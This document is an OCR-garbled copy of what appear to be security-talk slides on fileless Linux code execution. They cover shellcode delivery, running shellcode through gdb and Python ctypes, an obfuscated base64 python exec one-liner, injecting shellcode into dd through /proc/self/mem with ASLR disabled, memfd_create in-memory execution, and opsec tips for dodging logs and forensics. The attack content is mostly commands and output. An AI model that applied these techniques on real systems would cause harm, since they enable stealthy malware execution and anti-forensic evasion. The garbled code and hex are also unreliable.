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send payload(V|ct|m)

| "_‘Commumcatlon channeis (methods to‘dellver payloads):-fﬂ :

* “Out- Of—Band"

~network protocols/sockets (um{mul *‘[brofs"‘"‘d|ah“ff__ E@ast)

. mternal/extrenal devuces
ok Band”: -
I IY as a data Imk

In-Band payload transfer
— — — ]

J interactive shell session
' ie. ssh

victim






shellcode(DEMO);
'-~Thef0”0WI’ngshéncode | fshm]l“atgc o

' .-bits 64
= will be used durlng ___:___,'_-'-i-;"f'_fgmna1 -
| .DEMO sessmns | pstarte

-~ jmp short message

. print:

pop rsi

XOr rax, rax

mov al, 1

mov rdi, rax

mov rdx, rdi

add rdx, mlen
syscall

exit:
“Xor rax, rax
~ add rax, 60
+ xor rdi, rdi
;jsyscall
..: . message:
o B prin
e e e e imsg: db "Ex nihilo nihil fit!',6xBA. Bx80 -



mou nt(tmpfs)

—'7NAME e e
tmpfs a V|rtual memory ﬁlesystem_,;;

"_DESCRIPTION

: The tmpfs fac&llty‘alio
: contents resider in VIrtuaI r__ne
. ‘tvolcallv reS|de |n RAM file




-~ tmpfs
tmpts
tmpTs
“tmpfts
tmpTs
tmptTs

:~$ df -h | grep tmp

200M
996M
3.0M
996M
200M
200M

:~% mount | grep tmp

22M
40K
e
e
20K
48K

178M
996M
5.0M
996M
200M
200M

11% /run

1% /dev/shm

0% /run/lock

0% /sys/Ts/cqroup
1% /run/user/133
1% /run/user/0

~‘udev on /dev type devtmpfs (rw,nosuid,relatime,size=1003968k,nr inodes=250992,mode=755)
JSrun type tmpfs (rw,nosuid,noexec,relatime,size=203964k,mode=755)

jdev/shm type tmpfs (rw,nosuid,nodev,noexec)

JSrun/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
/sys/Ts/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)

Jjrunfuser/133 type tmpfs (rw,nosuid,nodev,relatime,size=203960k, mode=700,uid=133,gid=144)
Jjrunfuser/0 type tmpfs (rw,nosuid,nodev,relatime,size=203960k,mode=700)

- tmpfTs
 tmpfs
- tmpfs

- tmpfs
tmpTs
tmpTs

on
on
on
on
on
on
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execve(gd b)

‘ DESCRIPTION
: f[...»] =

. e
. . . .
v R YN g [N
. DL ; .
\ N
. \






el .S;) ; '7f' : ;-E5t.*!?ﬁi_iﬁ;ﬂl_;’Ezg;.“ Soen
| ohep ;wkéhiﬁji$.Cat“fﬁfbﬁkﬁféfEErneifféméfﬁ%féﬁéiétbpé:1

:~/shinji% nasm sc.5
: :~/shinji$ xxd -i sc | tr -d "\n" ; echo :
;unsigned char sc[] = { @xeb, 0xle, Ox5e, 0x48, 0x31, Oxc®, Oxb6, Ox01l, Ox48, Ox89, Oxc7, Ox48, S
Px89, Oxfa, Ox48, Ox83, Oxc2, 0x16, Ox0f, Ox05, Ox48, O0x31, Oxch, Ox48, 0Ox83, OxcO, Ox3c, Ox48 P
-, 8x31, exff, exef, Oxe5, 0xe8, oxdd, oxff, exff, oxff, 0x45, 0x78, Ox20, Ox6e, 0x69, 0x68, Ox6
9, Ox6c, Ox6T, Ox20, Ox6e, Ox69, Ox68, Ox69, 0x6C, Ox20, Ox66, Ox69, 0x74, Ox21, Ox0a, Ox00};un =
- signed int sc_len = 59; :
:~/shinji$ gdb -q -ex "break main" -ex "r" -ex 'set (char[59])*(int*)$rip = { ©xe
b, Oxle, 0x5e, 0x48, 0x31, O0xcO, Oxb®, Ox01l, Ox48, ©x89, Oxc7, ©0x48, ©0x89, 0xfa, 0x48, Ox83, Ox -
c?, Ox16, Ox6f, Ox05, O0x48, Ox31, OxchH, Ox48, 06x83, OxcB, Ox3c, Ox48, O0x31, Oxff, Oxef, 6x65, O.
- xe8, 0xdd, exff, exff, oxff, 0x45, 0x78, Ox20, Ox6e, Ox69, Ox68, 0Ox69, Ox6C, Ox6T, Ox28, Ox6e, -
" 0rBx69, Ox68, Ox69, Ox6c, Ox20, Ox66, Ox69, Ox74, 0x21, OxPa, Ox00}' -ex "c" -ex "q" /bin/bash
- - Reading symbols from /bin/bash...(no debugging symbols found)...done.
- Breakpoint 1 at ex2fdbe
~.Starting program: /bin/bash

.-~ Breakpoint 1, 0x0008555555583db0 in main ()
., Continuing.
. Ex nihilo nihil fit!
" @[Inferior 1 (process 6116) exited normally]
' :~/shinjis

ot \
% e ST
. .
i [N
\‘;
\ N
.



ex’ecve( P yth Q‘”)?"-' o f “ | g

':*5‘11bc CDLL(find Ilbrary{ c'))

?,off t off}

f&fmmap libc.mmap

-~ mmap.argtypes = [ ¢ _void p, ¢ size t, c_int, c_int, c_int, c_size t ]
.mmap.restype = ¢_void p

age size = pythonapi.getpagesize()
.sc_size = len(SHELLCODE)
’ ' page_size * (1 + sc_size / page_size)

cptr = mmap(0, mem size, PROT READ | PROT WRITE | PROT EXEC, MAP PRIVATE | ..
" MAP_ANONYMOUS, -1, 0) |

fif cptr == ENOMEM: exit('mmap() memory allocation error')

-if sc_size <= mem_size:

i memmove (cptr, SHELLCODE, sc size)
sc¢ = CFUNCTYPE(c void p, c¢ void p)
el call sc = cast(cptr, sc)

A call sc({None)

~33= c:c:rﬁ:f, gi?¢ %f;'”iﬁuu-ﬁ-_;“'.f f* ?'ﬁf1 :fj v. _ _Zg:-'-ﬁle f_55‘ “ ‘::_‘.-f e s ,"
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python(PQC)

; :wfshln]1$ echn "exec{ EnvaSB]dleEKMganwhSJﬂIChDRExMLCB]x32vaWchEnglazaxplx3Q 
'sIGNTaWSOLCB)X2xvbmcsIG11bWlvdmUsIENGVUSDVFLQRSwgY2FzdCwgcHL8aGuYXBpKQpmcm9tIGNPeXBlcy51dGlsIGL -

- tcG9ydCAoIGZpbmRTbGlicmFyeSApCmZyb28gc31zIGltcG9ydCBleGlOCgpQUKIUX1IFQUQgPSAWeDAXCLBSTIRTVIIIVEU =

- gPSAweDAYCLBST1RTRVhFQyA9IDBAMDOKTUFQX1BSSVZBVEUgPSAweDAYCk1BUF9BTKI0WU1PVVMgPSAWeDIWCKVOTO1FTSA
9ICOXCgpTSEVMTENPREUgPSANXHhLY Lx4MWVceDV1XHgO0FXx4MzFceGMwXHhiMFXx4MDFceDQ4XHg40Vx4YzdceDQ4XHg40Vx
4ZmFceDQ4XHg4M1x4YzIceDE2XHgWZ 1 x4MDVceDQ4XHgzMVx4YzBceDQ4XHg4M1x4YZzBceDN] XHgOOFx4MzFceGZmXHgwZ 1 x

4MDVceGU4XHhKkZFx4ZmZceGZmXHhmZ Lx4NDVceDc4XHgyMFx4NmVceDYSXHg20Fx4NjlceDZjXHg2Z 1 x4MjBceDZ1XHg20VxX . 2

4NjhceDY5XHg2Y1x4MjBceDY2XHg20Vx4NzRceDIxXHgwYVx4MDANCgpsaWl j ID@gQORMTChmaWskX2xpYnJhcnkoJ2MnKsSk .

1KCiszzlkICpthFwKHEvaWQgKkaEHIEIHNpemvdeEsEW45IGludCchmBBLEprnugmehE3MsIGludCBmaWKHEKMSIGQ‘:

- 'mZ190IGOMZik7CmltYXAgPSBsaWljLmltYXAKbW1lhcC5hemd@eXBlcyA9IFsgY192b2 1 kX3ASIGNTC216ZVIOLCB) X2 ludCw
- g¥19pbnQsIGNfaWsOLCBjX3NpemVfdCBdCm1tYXAucmVzdHlwZSA9IGNfdm9pZFowCgpwYWd1X3NpemUgPSBweXRob25hcGk
UZ2VOcGFnZXNpemUoKQpzY19zaXplIDOgbGYVuKFNIRUXxMOO9ERSkKbWVtX3NpemUgPSBwYWd LX3NpemUgKiAoMSArIHN ] X3N

- pemUgLyBwYWdLX3NpemUpCgpjcHRyID8gbWlhcCgwlLCBtZW1Tc216Z5wgUFIPVFO9SRUFEIHwgUFIPVF9XUKLURSBBIFBSTIR
TRVhFOQywgTUFOQX1BSSVZBVEUgTCBNQVBTQUSPTLINTIVTLCATMSWgMCKKCmImIGNWdHIgPTOgQRUSPTUVNOiBleGlOKCdtbWF -

wKCkgbWVtb3]15IGFsbG9]jYXRpb24gZXJyb3InKQoKaWYgc2NTc21l6ZSABPSBTZW1Tc216ZToKICAQIG11lbWlvdmUoY3BOciw:

- gUOhFTEXDTORFLCBzY19zaXplKQogICAgc2MgPSBDR1VOQ1RZUEU0Y192b21kX3AsIGNTdm9pZFowKQogICAgY2FsbF9zYyA -
9IGNhc3QoY3BOciwgc2MpCiAgICB]j YWxsX3NjKESvbmUpCgo=".decode('base64'))" | python
"Ex nihilo nihil fit!

:~/shinjis




dd(procfs)

—'fNAME

,—‘DESCRIPTION

COpy a ﬁle con\)ertlng and formﬁatt, e

IESCRIPIO

dd - CO”Véft and COpy a ﬁle

o oy .

8 s !
. 2 ) :
. S 3 Yy
. S , ‘
N N
i \



'* dd(procfs)
— Th|s translates to . gl
| ”Make dd mod:fy /tself t_on*‘fthef‘iﬂ;_;

echo shellcode | dd of=/proc/self/mem

ifd = open(stdin)
open (/proc/self/mem)
read (ifd)
write(ofd)
close (1£d)
close (ofd)

e



" dd(procfs)

— Problem #1 dd closes stdln and stdo‘»nm- o

:;~f5h1n]1$ strace dd 1f—fdev!zerc uf—fdev!null bs 1 cuunt 1 ;:E‘~

: 2>&1 | egrep "close\([0-2]"
- - |close(0)
-close(1)
cluse{Z}

0
0
0]

E;()Ith|()r] (ijF)() S

“;dup(10) + dup(11)
. X0r rax,rax

xor rdi,rdi

mov di,10

mov rax,0x20

syscall

XOor rax,rax

inc rdi

i, g mov rax,0x20
AR i syscall



dd(procfs)

Problem #2 ASLR

:~f5h1n]1$ cat fprucfsysfkernelfrandcmlzeﬁ#a space

"_1
:~/shinji$ file “which dd°

4«i,fbinfdd: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV),
interpreter /1lib64/1d-1linux-x86-64.s0.2, for GNU/Linux 2.6.32,

-361babbff5027bdd54210a70f575e52186, stripped
. :~/shinji$ readelf -h “which dd" | grep DYN
Type: DYN (Shared object file)
e :~/shinji$ dd if=/proc/self/maps | grep "bin/dd"
. 5+1 records in
- +5+¢1 records out
... 2908 bytes (2.9 kB, 2.8 KiB) copied, 0.000396572 s, 7.3 MB/s
, .ﬂj556C23ldfﬂﬂﬂ—EEECZEIEBBBB r-xp 00000000 08:01 1311260
,j;f,556:2335fBBB—EEECZEEEBBBE r--p 00010000 08:01 1311260
. 556c23360000-556c23361000 rw-p 00011000 08:01 1311260
i :~/shinji$ dd if=/proc/self/maps | grep "bin/dd"
.- -5+1 records in
7+ 541 records out
;f§‘2998 bytes (2.9 kB, 2.8 KiB) copied, 0.000418259 s, 7.0 MB/s
g 5,'f55&@43CEIBBB—ESEG4HCTZEBB r-xp 00000000 08:01 1311260
;;QfEﬁeﬂdae?lﬂﬂﬂ—55E843E?ZBBB r--p 00010000 08:01 1311260
~u}{:f“}55E643ETZBBB—55eﬂdae?3399 rw-p 00011000 08:01 1311260
o :~/shinjis |

dynamically linked, = -
BuildID[shal]=80200f -

/bin/dd
/bin/dd
/bin/dd

/bin/dd
/bin/dd
/bin/dd



dd(procfs)

',"Solutlon change executlon domaln (aka personal/ty)

- DESCRIPTION

avble address space Iayout random|zat|on




dd(procfs)

TU rn | n g AS |_R Oﬁ: at ru ntl m e (fro m U S e rI; an d) E

: 7}~f5hiﬁji$'cat'fpfucféyéfkefneifrandumlié:vé;gzacé#:WQ\\'

1
- :~/shinji$ setarch x86 64 -R dd if=/proc/self/maps | grep "bin/dd"
~ 5+1 records in
5+1 records out

555555554000-555555565000 r-xp 00000000 08:01 1311260 /bin/dd
-~ 533355764000-555555765000 r--p 00010000 08:01 1311260 /bin/dd
- 555555765000-555555766000 rw-p 00011000 08:01 1311260 /bin/dd

2908 bytes (2.9 kB, 2.8 KiB) copied, 0.00286701 s, 1.0 MB/s

i :~/shinji$ setarch x86 64 -R dd if=/proc/self/maps | grep "bin/dd"
541 records 1in
- 5+1 records out

- 555555554000-555555565000 r-xp 0000000 08:01 1311260 /bin/dd

377 555555764000-555555765000 r--p 00010000 08:01 1311260 /bin/dd
-~ 555555765000-555555766000 rw-p 00011000 08:01 1311260 /bin/dd

2908 bytes (2.9 kB, 2.8 KiB) copied, 0.00179923 s, 1.6 MB/s

:~/shinji$ |

. . .
R YN g [N
\ N O ’ \
\ N
. N



dd(procfs)

i erte What(SheIIcode) Where’?
: ‘ PLT? Rlsky

; :~f5h1n]1$ strace setarch xBE 64 R dd 1f—fprucfse1ffmaps 2>&1 | grep -

-~ exit :
- exit group(0) = ?

+++ exited with 0 +++

:~/shinji$ objdump -Mintel -d “which dd’ | grep exit
:~/shinji$

:~/shinji$

- fclose
- Tclose(0x785edfcd3680) =0
s :~/shinji$ objdump -Mintel -d whlch dd® | grep fclose
- 000OOOOOOE00L1che <fclose@plt>:
- 9bf6: e8 b5 80 ff ff call 1cb@® <fclose@plt>
9c2b: e9 80 80 ff ff jmp 1lcb@ <fclose@plt>
:~/shinjis |

:~/shinji$ ltrace setarch x86 64 -R dd if=/proc/self/maps 2>&1 | grep -






: :~/shinji% echo -n -e "\x48\x31\xcO\x48\x31\xff\x66\xbf\x0a\x00\xb8\x20\x
00\ x00\x00\ x0T\ Xx05\x48\x31\xcO\ x48\x T\ xc7\xb8\x20\x00\x00\ x00\ x0T\ x05\xeb\x1le\x5e\x48\ "
X311\ xcB\xbO\XO 1\ x48\ xB89\ xc 7\ x48\ xB89\xTa\ x48 \ x83\ xc2\x 16\ xO T\ x05\ x48\ x31\ xcO\ x48\ x83\ xch
AX3c\x48\x31\x T\ x0T\ x05\xe8\xdd\x FF\xFF\xFF\x45\x78\x20\x6e\Xx69\X68\X69\x6C\x6T\x20\X6
.~ e\x69\x68\x69\x6C\x20\x66\x69\x74\x21\x0a\x00" | setarch x86 64 -R dd of=/proc/self/mem
- bs=1 seek=%(( 0x555555554000 + Ox9c2b )) conv=notrunc 10<&0 1l<&l
- 89+0 records 1in
© . 89+0 records out
-~ 89 bytes copied, 0.00292488 s, 30.4 kB/s
"Ex nihileo nihil fit!

A :~/shinji$ ||




’ caII(MOAR POWER)

i Shellcode |s kmda cool but codmg compkx{";'éated stuffs |n asm IS

We Want to run an execu}i able. /e Ct) “

e e



CEsilelia e e :2/shinji$ mkfifo Lol
i FaIIS e e :~/shinji$ 1s -al lol
s Sem s naiprw-r--r-- 1 reenzBh reenz6h 6 Jul 1 88:33 [l

: GRS e :~/shinji$ cat ‘which id® > lol &
: Y cann .-J”[l] Lk il

mmap() CannOt :~/shinji$ strace /1ib64/1d-1linux-x86-64.s0.2 ./lol T

; f]r](j tEﬂf{;EEt fﬁlE} execve[“flibﬁdfld—linux—x86—64.50.2", ["/1ib64/1d-1linux-x86-64.50.2", " -~
Jlol"], ox7ffclf2cl9f8 /* 25 vars */) = .

t() |()Ei(j foaFffbrk[NULL} = 0x77f364fbbooo

e % openat(AT _FDCWD, "./lol", O RDONLY|0 CLOEXEC) = R

% -read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0" )\0\0\0\0\6\0". -

..., B32) = 832 S
ook i fstat(3, {st mode=S IFIF0|@644, st size=0, ...}) =0

7. -getcwd("/home/reenz0Oh/shinji", 128) S

~“-mmap(NULL, 2135264, PROT READ|PROT EXEC, MAP PRIVATE|MAP DENYWRITE, 3,
2°0) = -1 ENODEV (No such device)

#close(3) =0 _
~writev(2, [{iov_base="./lol", iov_len=5}, {iov_base=": ", iov_len=2}, {
~iov base="error while loading shared libra"..., iov len=36}, {iov base="
"y ", iov len=2}, {iov base="./lol", iov len=5}, {iov base=": ", iov le -

©v_base="", iov_len=0}, {iov_base="", iov_len=0}, {iov_base="\n", iov_le.
-n=1}], 10./lol: error while loading shared libraries: ./lol: failed to
~map segment from shared object
() = 93
~exit_group(127) =7
vl 44+ exited with 127 +++

#:22[1]+ Done cat ‘which id® > lol

:~/shinjis i

§ e

-n=2}, {iov_base="failed to map segment from share"..., iov_len=40}, {io. ™



memfd create()

’ ',"SYNOPSIS

#1nc1ude <sys/memfd h> _ :

' 'DESCRIPTION e .
. memfd create() creates __a“ d returns a ﬁle descrlptor

e Once aII references to the ﬁle are.

_,However unllke a regular ﬁle it I|ves s



memfd create()

She”COde

‘*=j§;LBIT5 G
?:ifglubal start
-~ section .text

- |start:

,..;dUp{lﬂ} + dup (11)
Xor rax,rax
xor rdi,rdi
mov di:lﬂ
mov rax,0x20
syscall

Xor rax,rax
inc rdi
mov rax,0x20
syscall

MEMfd CfEate A Rl
push 0x41414141

mov rdi,
mov rsi,
mov rax,
syscall

pause:
mov rax,
syscall

Xor rax,
add raxr
xor rdi,
syscall

rsp
©
=k

34

rax
606
rdi

A N : \
: o i
. R
S N
SERANITN b A
A \
\
‘ .
\
x \






memfd create(Plf)

:~/shinji$ echo -n -e "\de\xEl\xcﬂ\de\xEl\xff\xﬁﬁ\xbf\xN*‘

._Ba\xﬂ@\xb&\x2B\x@@\x@ﬂ\x@@\xﬂf\x@S\x48\x31\xc@\x48\xff\xc?\xb&\xZB\xBB\lf'» :
- X00\x00\x0F\x05\x68\x41\x41\x41\x41\x48\x89\xe7\xbe\x00\x00\x00\x00\xb8| -
S \x3f\x01\x00\x00\x0f\x05\xb8\x22\x00\x00\x00\x0f\x05\x48\x31\xcO\x48\x8|" .

~ 3\ xcO\x3c\x48\x31\xff\x0f\x05" | setarch x86 64 -R dd of=/proc/self/mem|" . .

Bagalteiay

-~ bs=1 seek=$(( 0x555555554000 + 0x9c2b)) conv=notrunc 10<&0 11<&1 &
- Y1553

69 bytes copied, ©.000625456 s,

" total @
Gaordr-x

cidr-x------ 2
dr-xr-xr-x 9
lr-x------ il
lrwx------ 1
lr-x------ 1l
lrwx------ 1
lrwx------ 1
lrwx------ 1

~“Linux purple 4.
% 5) x86_64 GNU/Linux
, :~/shinjis [

. :~/shinji$ 69+0 records in
~.°.69+0 records out

110 kB/s

:~/shinji$ 1s -al /proc/ pidof dd’/fd/
reenz@h reenz6h 0 Jul 1 08:58 .
reenz@h reenzéh 0 Jul 1 08:58 ..
reenz@h reenz@h 64 Jul 1 08:58 -
reenzOh reenzOh 64 Jul 1 08:58 1 -> /dev/pts/3
reenz@h reenzGh 64 Jul 1 08:58 5.
reenzOh reenzOh 64 Jul 1 08:58 11 -> /dev/pts/3
reenz@h reenzOh 64 Jul 1 08:58 2 -> /dev/pts/3
reenz@h reenzGh 64 Jul 1 08:58 -

:~/shinji$ cat
:~/shinji$

“which uname’

> /proc/ pidof dd /fd/3

:~/shinji$ /proc/ pidof dd /fd/3 -a
15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kalil (2018-04-2 S




opsec()

* Logs |
- * Process ||st
. Swapplness

group .
= does not gua*

. manager will no
o cgroup aIIoi

aer heavy Ioad memory
ss to dISk anyway (|e root

e






Cexit(“Thankyou)i . o e g

-~ seweori?
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: https //grugq glthub |o/docs/ul exec txt SreE P e e

' . Advanced Antn‘orensms SELF by Pluf~.&-i;:pre
e http //phrack orgllssues/63/11 htmr‘" -

'*"'McNamara
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2017/9/5/linux-based-inter-process-code-injection-without-




